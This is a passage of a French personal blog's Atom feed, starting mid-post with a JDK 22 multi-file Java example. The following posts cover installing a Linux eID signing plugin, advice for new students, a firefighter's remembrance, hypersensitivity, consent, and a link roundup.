&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Helper&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Helper&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bien sûr pour un programme conséquent, les fichiers sont compilés et les fichiers &lt;code&gt;.class&lt;/code&gt; sont conservés sur disque. Bien sûr aussi qu&amp;rsquo;un outil de construction est conseillé (Maven ou autre).&lt;/p&gt;
&lt;p&gt;Entre un simple &lt;em&gt;Hello world&lt;/em&gt; et un programme complexe, il existe des programmes qui utiliseront plusieurs fichiers mais pas encore le besoin de comprendre son IDE ou d&amp;rsquo;appréhender un outil de construction (&lt;em&gt;build tool&lt;/em&gt;). JDK22 permet de lancer directement un programme se trouvant dans plusieurs classes et &lt;strong&gt;réparties dans plusieurs fichiers&lt;/strong&gt; sous certaines conditions. &lt;/p&gt;
&lt;p&gt;Si le code précédent se trouve dans deux fichiers différents, java compilera la première classe dans le premier fichier. Lorsque le &lt;em&gt;loader&lt;/em&gt; rencontre la seconde classe, java cherche le fichier et le compile. Toujours en mémoire. &lt;/p&gt;
&lt;p&gt;Voir &lt;a href="https://openjdk.org/jeps/458"&gt;JEP 458&lt;/a&gt; pour les détails dans les cas de librairies (bibliothèques) externes, de &lt;em&gt;packages&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Éléments non abordés&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://openjdk.org/jeps/423"&gt;JEP 423&lt;/a&gt; &lt;em&gt;Region Pinning for G1&lt;/em&gt;, optimisation du &lt;em&gt;garbage collector G1&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https:/openjdk.org/jeps/454"&gt;JEP 454&lt;/a&gt; Changement au niveau des appels de fonctions étrangères (comme JNI &lt;em&gt;java native interface&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content></entry><entry><title>Connective browser package</title><link href="http://blog.namok.be/2025-01-28-connective-browser-package.html" rel="alternate"/><published>2025-01-28T00:00:00+01:00</published><updated>2025-01-28T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2025-01-28:/2025-01-28-connective-browser-package.html</id><summary type="html">Connective browser package</summary><content type="html">&lt;p&gt;Utiliser son eID sous linux&lt;/p&gt;
&lt;p&gt;Pour utiliser son eID (comprendre &lt;em&gt;carte d&amp;rsquo;identité électronique&lt;/em&gt;) sous linux. C&amp;rsquo;est facile. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;télécharger le soft (pour moi le &lt;code&gt;.deb&lt;/code&gt;) sur &lt;a href="https://eid.belgium.be/fr/installation-du-logiciel-eid-sous-linux"&gt;le site officiel belgium.be&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;installer le soft d&amp;rsquo;un simple &lt;code&gt;dpkg -i blabla.deb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour se créer un compte Itsme, c&amp;rsquo;est plus compliqué car la création du compte demande que l&amp;rsquo;on signe avec sa carte d&amp;rsquo;identité électronique… et pour ça, il faut le &lt;strong&gt;Connective Browser Package&lt;/strong&gt; qui n&amp;rsquo;est malheureusement pas disponible pour « votre système d&amp;rsquo;exploitation ». &lt;/p&gt;
&lt;p&gt;&lt;img alt="image du navigateur avec message d'erreur" src="/images/connective-browser-package.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image du navigateur avec message d'erreur" src="/images/connective-browser-package-2.png"&gt;&lt;/p&gt;
&lt;p&gt;Que faire ? &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;envoie un mail au support qui me demande plus d&amp;rsquo;explication ne semblant pas au courant du problème. Avant de répondre avec moult &lt;em&gt;screenshots&lt;/em&gt; et explications, je tente quand même une recherche sur le net pour voir si le problème est connu. Les mots clés sont simples : &lt;em&gt;connective browser package linux&lt;/em&gt;. Pas besoin d&amp;rsquo;une IA 😨.&lt;/p&gt;
&lt;p&gt;Et la magie d&amp;rsquo;Internet et de l&amp;rsquo;informatique fonctionne : &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;le problème est connu (&lt;em&gt;mais pas que&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/roelderickx"&gt;Roel Derickx&lt;/a&gt; a écrit une solution à notre problème. Qu&amp;rsquo;il en soit ici remercié.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="https://github.com/roelderickx/connective-plugin-linux"&gt;connective-plugin-linux&lt;/a&gt; remplace le plugin et fonctionne très bien. &lt;/p&gt;
&lt;p&gt;Chez moi, il m&amp;rsquo;a suffit de (je note pour m&amp;rsquo;en rappeler) : &lt;/p&gt;
&lt;p&gt;en &lt;em&gt;root&lt;/em&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;libpcsclite-dev&lt;span class="w"&gt; &lt;/span&gt;python3-pyscard&lt;span class="w"&gt; &lt;/span&gt;python3-tk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;puis en &lt;em&gt;user&lt;/em&gt; normal&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;md&lt;span class="w"&gt; &lt;/span&gt;itsme
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;itsme/
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/roelderickx/connective-plugin-linux.git
python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;venv&lt;span class="w"&gt; &lt;/span&gt;venv-nm
&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;venv-nm/bin/activate
pip3&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;connective-plugin-linux/requirements.txt&lt;span class="w"&gt; &lt;/span&gt;
pip3&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;connective-plugin-linux/optional-requirements.txt&lt;span class="w"&gt; &lt;/span&gt;
connective-plugin-linux/get_connective_plugin.py&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Retour sur &lt;em&gt;firefox&lt;/em&gt; pour ouvrir le fichier (&lt;code&gt;[Ctrl-o]&lt;/code&gt;) &lt;code&gt;connective_signing_extension-1.0.5.xpi&lt;/code&gt; et installer l&amp;rsquo;extension. Et ensuite &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ll&lt;span class="w"&gt; &lt;/span&gt;connective-downloads/
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;connective-plugin-linux/
nativemessaging-ng&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;firefox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et ça roule. Je peux créer mon compte itsme. &lt;/p&gt;
&lt;p&gt;Mille merci Roel, tout est très bien expliqué sur le dépôt &lt;a href="https://github.com/roelderickx/connective-plugin-linux"&gt;connective-plugin-linux&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>Accueil des bleus</title><link href="http://blog.namok.be/2024-09-13-accueil-des-bleus.html" rel="alternate"/><published>2024-09-13T00:00:00+02:00</published><updated>2024-09-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2024-09-13:/2024-09-13-accueil-des-bleus.html</id><summary type="html">Premiers jours dans une école supérieure</summary><content type="html">&lt;p&gt;&lt;img alt="Une fille with a big big smile" src="/images/claudia_by_rhytiphilia_dgl1wi3.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ce matin c&amp;rsquo;est &lt;em&gt;l&amp;rsquo;accueil des bleus&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une première journée où l&amp;rsquo;on va rencontrer pour la première fois nos nouveaux et nouvelles étudiantes. Nous allons voir leur tête. Ils vont voir la nôtre. &lt;/p&gt;
&lt;p&gt;Si vous commencez vos études supérieures le premier conseil que je vous donne c&amp;rsquo;est : &lt;strong&gt;souriez&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Souriez parce que les études supérieures c&amp;rsquo;est une belle partie de votre vie c&amp;rsquo;est le moment de votre vie où vous allez rencontrer beaucoup — beaucoup — de gens que vous ne connaissez pas. Des gens qui ne sont pas de votre entourage habituel (autres villes par exemple). Des gens, comme vous ; un peu perdus. &lt;/p&gt;
&lt;p&gt;Souriez parce que c&amp;rsquo;est aussi le moment de votre vie où vous allez apprendre plein — plein — de choses que vous ne connaissez pas (ou peu). Vous allez (enfin ?) apprendre ce que vous allez utiliser (beaucoup, un peu ou pas parfois) dans votre vie professionnelle. 47 ans.&lt;/p&gt;
&lt;p&gt;Souriez parce que vous êtes invincible. En tout cas, vous avez l&amp;rsquo;âge où l&amp;rsquo;on se sent invincible, c&amp;rsquo;est la partie de votre vie où vous passez d&amp;rsquo;adolescent à jeune adulte. Parfois ça fait peur mais c&amp;rsquo;est pas grave. Grandir, c&amp;rsquo;est grisant. Plus de liberté. Beaucoup plus. Plus de responsabilités… mais quand on est invincible ;-) &lt;/p&gt;
&lt;p&gt;Souriez enfin simplement parce que sourire c&amp;rsquo;est montrer que vous êtes content ou contente d&amp;rsquo;être là. C&amp;rsquo;est dire à l&amp;rsquo;autre en face de vous que vous êtes disposée à l&amp;rsquo;accueillir avec ses différences. Ses qualités et ses défauts. Vous avez envie que tout se passe bien… elle ou lui aussi. &lt;/p&gt;
&lt;p&gt;Pour ce qui est des conseils standards ce sont toujours les mêmes et on vous les a sans doute bien rabâché : va au cours, éveille ton attention, prends des notes, travail dès le départ… Dans le supérieur, ça commence très lentement et puis ça s’accélère très très vite.&lt;/p&gt;
&lt;p&gt;&lt;a href="2015-09-11-comment-bien-commencer-son-bachelor-en-informatique.html"&gt;Des conseils pour l&amp;rsquo;informatique&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Si ton enfant — ton précieux LOL — fait sa rentrée dans le supérieur, le premier conseil que je te donne : &lt;strong&gt;souris&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Souris parce qu&amp;rsquo;il prend un peu plus son envol et va grandir soudain très vite. Il ou elle a simplement besoin de sentir ton soutien, ta confiance, ta crainte un peu et ton amour… tout ça dans un sourire. &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui on accueille nos nouveaux et nos nouvelles étudiantes.&lt;br&gt;
Perso je vais sourire.&lt;br&gt;
Et toi ? &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Photo d&amp;rsquo;une personne qui sourit (&lt;em&gt;with a big big smile&lt;/em&gt;) par &lt;a href="https://www.deviantart.com/rhytiphilia/art/Claudia-1002819531"&gt;rhytiphilia&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>Ghislenghien, 20 ans (déjà)</title><link href="http://blog.namok.be/2024-07-30-ghislenghien-20-ans-deja.html" rel="alternate"/><published>2024-07-30T00:00:00+02:00</published><updated>2024-07-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2024-07-30:/2024-07-30-ghislenghien-20-ans-deja.html</id><summary type="html">Ghislenghien, 20 ans (déjà)</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/casque.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.namok.be/?post/2014/07/30/ghislenghien-10ans"&gt;30 juillet 8h57 je dors&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Nous sommes rentrés de vacances tard dans la nuit et, au petit matin, je n&amp;rsquo;ai absolument rien entendu. &lt;a href="https://fr.wikipedia.org/wiki/Catastrophe_de_Ghislenghien"&gt;C&amp;rsquo;est après que j&amp;rsquo;ai été informé&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Devenir pompier me trottait dans la tête depuis plusieurs années sans franchir le pas. En effet, à l&amp;rsquo;époque, être pompier était plus une histoire de famille: de père en fils ou de tonton en neveu. Comment faire pour postuler ? &lt;a href="2004-11-23-7-aspirant-pompier-ambulancier.html"&gt;J&amp;rsquo;ai postulé&lt;/a&gt; et je me suis engagé. &lt;/p&gt;
&lt;p&gt;Pendant 10 ans j&amp;rsquo;ai arpenté les routes (et les couloirs de la caserne). J&amp;rsquo;ai fait de très belles rencontres tant en interventions qu&amp;rsquo;avec les collègues. Ça va faire 10 ans que &lt;a href="2016-05-20-je-ne-suis-plus-pompier.html"&gt;je ne suis plus pompier&lt;/a&gt;. Je ne regrette pas mon choix d&amp;rsquo;avoir arrêté car mon calendrier était ingérable mais j&amp;rsquo;ai toujours un pincement au cœur quand je vois passer l&amp;rsquo;ambulance ou que je vois que les amis &lt;em&gt;partent au feu&lt;/em&gt;. Dès lors que tu as &lt;em&gt;connu ça&lt;/em&gt;, ça reste. Être pompier, tu l&amp;rsquo;as dans les tripes. &lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, comme chaque 30 juillet, c&amp;rsquo;est un jour où tu peux penser à toutes les personnes que tu connais ou que tu ne connais pas qui font ce superbe boulot… et qui un jour ne sont malheureusement pas rentrées.&lt;/p&gt;</content></entry><entry><title>Hyperchiante</title><link href="http://blog.namok.be/2024-07-26-hyperchiante.html" rel="alternate"/><published>2024-07-26T00:00:00+02:00</published><updated>2024-07-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2024-07-26:/2024-07-26-hyperchiante.html</id><summary type="html">Hyperchiante</summary><content type="html">&lt;p&gt;&lt;img alt="Une personne à genoux que l'on distingue mal entourée de solicitations sensorielles" src="/images/hyper.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je suis hyperchiante !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Dans un monde où l&amp;rsquo;uniformité est souvent privilégiée, comment vivre pleinement son intensité émotionnelle et intellectuelle ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pour certains et certaines, je suis toujours en mouvement, toujours à poser mille questions, toujours à vouloir comprendre et refaire le monde. Je suis dérangée par un changement de température, une odeur… Je perds mes affaires, les retrouve et les reperds. Cela peut être déroutant, voire agaçant. C&amp;rsquo;est une sensibilité exacerbée et une curiosité insatiable.&lt;/p&gt;
&lt;p&gt;Être hypersensible, c’est ressentir les choses avec une intensité que peu peuvent comprendre. Une simple discussion peut être épuisante émotionnellement, car je capte tout : les nuances dans la voix, les non-dits, l’atmosphère de la pièce. Cela peut sembler envahissant pour ceux qui ne partagent pas cette sensibilité. On peut me percevoir comme quelqu&amp;rsquo;un qui dramatise, complique tout ou ne supporte rien. En réalité, c’est juste que je ressens tout à 100 %, toujours. &lt;/p&gt;
&lt;p&gt;Nous avons 5 sens. Il existe 5 hypersensibilités différentes : visuelle (certains perçoivent des détails que les autres ne voient pas ou sont plus sensible à la luminosité), auditive (d&amp;rsquo;autres écoutent plusieurs conversations en même temps ou sont vite sensibles au bruit), gustative (ça pique, c&amp;rsquo;est salé…), olfactive (certaines sont très sensibles aux odeurs corporelles, aux parfums…) et tactile (je n&amp;rsquo;aime pas que l&amp;rsquo;on me touche, j&amp;rsquo;ai vite mal). &lt;/p&gt;
&lt;p&gt;En plus des sens, l&amp;rsquo;hypersensibilité émotionnelle fait de moi une éponge aux sentiments des personnes qui m&amp;rsquo;entourent. Je suis très empathique et je gère difficilement quand je suis contente — trop contente — ou triste — trop triste. &lt;/p&gt;
&lt;p&gt;Mon hyperactivité n’est pas un besoin frénétique de faire mille choses à la fois. C’est une quête incessante de stimulation et d’apprentissage. La routine m’étouffe. Je suis avide de nouveauté, de projets, de défis. Il est facile de percevoir cela comme de l’instabilité ou de l’insatisfaction chronique, mais c’est simplement une soif de vivre intensément, de ne rien laisser passer.&lt;/p&gt;
&lt;p&gt;Et puis, il y a les troubles de l’attention (inattention, hyperactivité et impulsivité), qui m’éparpillent et rendent difficile la concentration sur une seule tâche. Pour certains, c&amp;rsquo;est agaçant. Pour moi, c’est un tourbillon constant de pensées et de possibilités. Cela donne l’impression d’être constamment ailleurs, perdue dans mon propre monde. C’est comme essayer de capturer le vent. Par exemple, en pleine conversation, je peux soudain penser à une idée totalement différente, rendant le fil de discussion difficile à suivre.&lt;/p&gt;
&lt;p&gt;Cette combinaison de traits peut être difficile à gérer, autant pour moi que pour mon entourage. Il y a des jours où je me sens comme une éponge saturée, où le bruit du monde est trop fort, et les attentes, trop lourdes. Pourtant, il n’y a rien que je voudrais changer. Ces caractéristiques font partie intégrante de moi, de ma manière unique d’interagir avec le monde. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je suis donc hyperchiante !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Derrière cette apparence se cache une personne qui voit la beauté dans les détails et qui cherche constamment à comprendre et à aimer le monde sous toutes ses facettes. Si cela signifie être perçue comme une tornade d’émotions et de pensées, alors qu’il en soit ainsi. Parce qu&amp;rsquo;au fond, je ne suis ni plus ni moins que quelqu’un qui vit la vie avec une intensité rare, même si cela signifie parfois bousculer un peu la tranquillité des autres.&lt;/p&gt;
&lt;p&gt;Et vous, comment percevez-vous l&amp;rsquo;intensité dans votre vie et celle des autres ?&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;À lire aussi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2021-06-12-livre-5-mon-cerveau-est-hyper.html"&gt;Livre 5, mon cerveau est hyper&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cette fiction tente de comprendre un peu les hypers qui nous entourent. L&amp;rsquo;image est générée par une IA.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>J'accepte</title><link href="http://blog.namok.be/2024-04-01-jaccepte.html" rel="alternate"/><published>2024-04-01T00:00:00+02:00</published><updated>2024-04-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2024-04-01:/2024-04-01-jaccepte.html</id><summary type="html">Accepter ou céder, la frontière est mince parfois.</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Déf.&lt;/em&gt; &lt;strong&gt;Accepter&lt;/strong&gt;: Donner son consentement ou son assentiment à ce qui est offert, à ce qui arrive; agréer quelqu&amp;rsquo;un.&lt;br&gt;
Source &lt;a href="//www.cnrtl.fr/definition/accepter"&gt;CNTRL&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une personne me demande plusieurs fois pour que j&amp;rsquo;accepte &lt;strong&gt;ça&lt;/strong&gt; et j&amp;rsquo;ai dit non parce que je n&amp;rsquo;étais pas prêt. Parce que je ne voulais pas. Parce que c&amp;rsquo;est une trop grosse contrainte pour moi. Parce que c&amp;rsquo;est contre mes valeurs. Parce que…  &lt;/p&gt;
&lt;p&gt;Comme c&amp;rsquo;était difficile pour elle, elle a redemandé, argumenté, insisté… et finalement, j&amp;rsquo;ai accepté parce que je suis prêt maintenant. Parce que je suis las de refuser. Parce que je ne veux plus répéter mes arguments de report. Parce que je peux « vivre avec ». Parce que…&lt;/p&gt;
&lt;p&gt;— Ai-je accepté ou cédé ? &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Déf.&lt;/em&gt; &lt;strong&gt;Céder&lt;/strong&gt;: Renoncer à résister, se soumettre (…)&lt;br&gt;
Source &lt;a href="//www.cnrtl.fr/definition/ceder"&gt;CNTRL&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Plus tard, je vais devoir assumer les conséquences parce que j&amp;rsquo;ai &lt;strong&gt;accepté&lt;/strong&gt;.
Tout le monde pensera que j&amp;rsquo;ai voulu &lt;em&gt;ça&lt;/em&gt;. Que c&amp;rsquo;est mon choix. &lt;/p&gt;
&lt;p&gt;Que j&amp;rsquo;aime &lt;em&gt;ça&lt;/em&gt; ou pas n&amp;rsquo;y changera plus rien puisque j&amp;rsquo;ai dit oui. Parfois, j&amp;rsquo;aurai appris à aimer &lt;em&gt;ça&lt;/em&gt; à l&amp;rsquo;intégrer et être content
d&amp;rsquo;avoir accepté et parfois, avoir cédé deviendra lourd. Peut-être trop lourd et il faudra faire d&amp;rsquo;autres choix. &lt;/p&gt;
&lt;p&gt;Ceci dit, vivre, c&amp;rsquo;est choisir. Tout le temps. Toujours. &lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Ce billet a trainé longtemps sans être publié. Il faudrait peut-être l&amp;rsquo;associer à l&amp;rsquo;idée de consentement.)&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Vrac #16</title><link href="http://blog.namok.be/2023-05-25-vrac-16.html" rel="alternate"/><published>2023-05-25T00:00:00+02:00</published><updated>2023-05-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2023-05-25:/2023-05-25-vrac-16.html</id><summary type="html">Vrac #16</summary><content type="html">&lt;p&gt;&lt;img alt="16-michael-jasmund-b3-7ncjxic8-unsplash-1200x.jpg, mai 2023" src="/images/16-michael-jasmund-b3-7ncjxic8-unsplash-1200x.jpg" title="une proue de bateau avec 16 écrit dessus"&gt;&lt;/p&gt;
&lt;p&gt;Il semble que j&amp;rsquo;écrive un &lt;em&gt;vrac&lt;/em&gt; tous les 4 ans.&lt;/p&gt;
&lt;p&gt;Je place des liens dans un fichier et lorsqu&amp;rsquo;il y en a assez, je publie. Ici, je commence par revérifier si les liens existent encore. &lt;em&gt;Ce blog serait-il mort ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://pytition.org/"&gt;&lt;strong&gt;Pytition&lt;/strong&gt;&lt;/a&gt;, un outil de pétitions libre, écrit en Python à autohéberger. &lt;a href="https://framablog.org/2019/10/25/framapetitions-est-mort-vive-pytition/"&gt;Framasoft en parlait «&lt;em&gt;récemment&lt;/em&gt; »&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://joinmobilizon.org/"&gt;&lt;strong&gt;Mobilizon&lt;/strong&gt;&lt;/a&gt; est une alternative — à &lt;em&gt;Eventbrite&lt;/em&gt; et consorts pour ne pas le citer — pour la publication d&amp;rsquo;évènements et la gestion des inscriptions. L&amp;rsquo;outil a bien évolué ces dernières années, il est &lt;em&gt;acentralisé&lt;/em&gt; et plusieurs instances existent — recensées sur &lt;a href="https://mobilizon.rog/"&gt;mobilizon.org&lt;/a&gt;. On y trouve par exemple &lt;a href="fttps://mobilizon.fr"&gt;mobilizon.fr&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;Si vous avez besoin d&amp;rsquo;un correcteur d&amp;rsquo;orthographe (&lt;em&gt;spoiler alert&lt;/em&gt; on en a tous besoin), &lt;a href="https://languagetool.org/fr"&gt;Languagetool&lt;/a&gt; vérifie l&amp;rsquo;orthographe et la grammaire. Il propose aussi un &lt;em&gt;plugin&lt;/em&gt; Firefox. Plus d&amp;rsquo;excuse.&lt;/p&gt;
&lt;p&gt;À la &lt;a href="https://jamstack.org/generators/"&gt;longue liste de &lt;strong&gt;générateurs de sites&lt;/strong&gt;&lt;/a&gt; s&amp;rsquo;ajoutent&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.getlektor.com/"&gt;&lt;strong&gt;Lektor&lt;/strong&gt;&lt;/a&gt; découvert dans LinuxPratique 101 et dont la particularité est d&amp;rsquo;avoir une interface web pour rédiger. C&amp;rsquo;est du Python et voici le &lt;a href="https://github.com/lektor/lektor"&gt;dépôt Github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://honkit.netlify.app/"&gt;&lt;strong&gt;Honkit&lt;/strong&gt;&lt;/a&gt; est plutôt dédié à la génération de documentation (c&amp;rsquo;est plus basique. Moins beau). C&amp;rsquo;est du nodejs, voici le &lt;a href="https://github.com/honkit/honkit"&gt;dépôt Github&lt;/a&gt; et un &lt;a href="https://tutorial.djangogirls.org/fr/"&gt;exemple chez Django Girls&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tu te demandes si tu as une bonne &lt;strong&gt;vitesse de frappe&lt;/strong&gt; au clavier ? Tu voudrais te comparer à tes camarades ? José, un &lt;em&gt;student&lt;/em&gt; a développé &lt;a href="https://dactylo.bruxelles.dev/"&gt;dactylo.bruxelles.dev&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un nième outil de tableau blanc ? &lt;a href="https://browserboard.com/"&gt;&lt;strong&gt;Browserboard&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;terminal&lt;/strong&gt;, si tu n&amp;rsquo;en n&amp;rsquo;as pas un &lt;em&gt;bon&lt;/em&gt;. &lt;a href="https://tabby.sh/"&gt;&lt;strong&gt;Tabby&lt;/strong&gt;&lt;/a&gt;. C&amp;rsquo;est peut-être lourd, il faut tester. Voici le &lt;a href="https://github.com/Eugeny/tabby"&gt;dépôt Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un dernier pour jouer est un site créant &lt;strong&gt;différentes sortes de cadenas&lt;/strong&gt; permettant d&amp;rsquo;ouvrir un texte, une image, un son, une vidéo ou un lien. &lt;a href="https://lockee.fr/"&gt;&lt;strong&gt;Lockee&lt;/strong&gt;&lt;/a&gt;. Un &lt;a href="https://lockee.fr/o/i38depnX"&gt;essai&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez par &lt;a href="https://unsplash.com/fr/@jasmund"&gt;Michael Jasmund&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Juste un film, pas un documentaire</title><link href="http://blog.namok.be/2022-10-05-juste-un-film-pas-un-documentaire.html" rel="alternate"/><published>2022-10-05T00:00:00+02:00</published><updated>2022-10-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2022-10-05:/2022-10-05-juste-un-film-pas-un-documentaire.html</id><summary type="html">Juste un film, pas un documentaire</summary><content type="html">&lt;p&gt;&lt;img alt="idiocracy.jpg, oct. 2022" src="/images/idiocracy.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Ces jours-ci et avec 10 ans de retard, des voix s&amp;rsquo;élèvent contre la catastrophe écologique qu&amp;rsquo;est l&amp;rsquo;organisation de la coupe du monde de foot 2022 au Quatar. Il fait chaud — très chaud — et les stades — en plein air — sont climatisés. Tout ça sans parler des conditions de travail déplorables des ouvriers qui ont vu plusieurs décès d&amp;rsquo;ailleurs. Chacun et chacune se forgera son opinion.&lt;/p&gt;
